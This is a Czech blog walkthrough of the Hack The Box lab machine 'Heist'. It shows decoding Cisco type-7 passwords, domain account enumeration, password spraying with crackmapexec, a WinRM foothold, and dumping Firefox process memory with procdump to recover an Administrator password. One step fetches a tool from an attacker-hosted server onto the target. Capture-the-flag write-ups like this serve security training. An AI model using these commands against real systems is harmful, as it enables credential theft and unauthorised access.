tom@home.htb:~$

Blog o HTB

3 December 2020

Heist

Úvod a kontext

Heist je stroj, kde web nevede k přímému RCE, ale k přístupovým údajům. Podpůrný portál zveřejňuje konfiguraci Cisco zařízení, z níž lze vytáhnout několik hesel. Teprve jejich kombinace s doménovou enumerací a password sprayingem otevře cestu k WinRM.

Root část je naopak čistě lokální a dobře ukazuje běžnou administrátorskou chybu. Na serveru běží interaktivní Firefox procesy a jejich dump obsahuje uložené přihlašovací údaje administrátora. Tady je tedy nejdůležitější ne otázka „jak exploituji službu“, ale „kde v systému zůstaly cizí tajemství“.

Počáteční průzkum

Support portal a základní služby

První nmap ukáže IIS s login stránkou a WinRM. To znamená, že web pravděpodobně obsluhuje interní helpdesk a že jakmile se objeví platné doménové přihlašovací údaje, bude existovat i stabilní management shell.

nmap -p 1-65535 -T4 -A -sC -v $IP
80/tcp    open  http          Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0

Cisco konfigurace jako zdroj hesel

Z support portálu se podaří stáhnout Cisco konfiguraci. To je zásadní artefakt, protože obsahuje jak hash enable secret, tak reverzibilně zakódovaná hesla typu 7. Po dekódování se objeví trojice použitelných hodnot stealth1agent, $uperP@ssword a Q4)sJu\\Y8qz*A3?d.

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 => stealth1agent
username rout3r password 7 0242114B0E143F015F5D1E161713 => $uperP@ssword
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 => Q4)sJu\Y8qz*A3?d

Analýza zjištění

Od configu k doménovým účtům

Samotná hesla ještě nestačí, protože chybí seznam účtů. Proto má smysl vzít první platnou kombinaci a přes lookupsid.py vytáhnout doménové identity. Tím se objeví Hazard, support, Chase a další účty, proti nimž lze hesla systematicky vyzkoušet.

python lookupsid.py hazard:"stealth1agent"@$IP
=> SUPPORTDESK\Hazard
=> SUPPORTDESK\support
=> SUPPORTDESK\Chase
=> SUPPORTDESK\Jason

Password spraying na WinRM kandidáty

Jakmile existuje seznam účtů i několik hesel z Cisco konfigurace, dává smysl přepnout se na řízený password spray přes crackmapexec. Tady vyjde účet Chase s heslem Q4)sJu\\Y8qz*A3?d, což je ideální kombinace pro WinRM foothold.

crackmapexec 10.10.10.149 -d SUPPORTDESK -u users.txt -p pass.txt
=> Chase:Q4)sJu\Y8qz*A3?d

Získání přístupu

WinRM jako Chase

Jakmile se ukáže platný účet pro WinRM, je nejlepší se webu úplně pustit. WinRM dává stabilní PowerShell a dovolí rychle ověřit, co na stroji běží interaktivně a které procesy by mohly obsahovat další tajemství.

./evil-winrm/evil-winrm.rb -i $IP -u Chase -p 'Q4)sJu\Y8qz*A3?d'
gc user.txt
a127daef77ab6d9d92008653295f59c4

Eskalace oprávnění

Firefox procesy a procdump

Na serveru je neobvyklé vidět více běžících procesů Firefoxu. To naznačuje, že se na něm někdo interaktivně přihlašoval do webových aplikací. Proto dává smysl místo slepého procházení souborů použít procdump, stáhnout paměť procesů a hledat v ní řetězce související s loginem.

Get-Process
Get-Process Fire*

python -m SimpleHTTPServer 8000
wget "http://10.10.15.213:8000/procdump64.exe" -OutFile procdump64.exe
Start-Process procdump64.exe 6284
Start-Process procdump64.exe 6472
Start-Process procdump64.exe 6596
Start-Process procdump64.exe 6836
Start-Process procdump64.exe 7120

cat fire* | Select-String "login"
=> Administrator / 4dD!5}x/re8]FBuZ

Jakmile se v dumpu objeví platné administrátorské heslo, závěr je přímočarý: znovu otevřít WinRM, tentokrát jako Administrator.

./evil-winrm/evil-winrm.rb -i $IP -u Administrator -p '4dD!5}x/re8]FBuZ'
gc root.txt
50dfa3c6bfd20e2e0d071b073d766897

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - rce - smb - winrm - php - exploit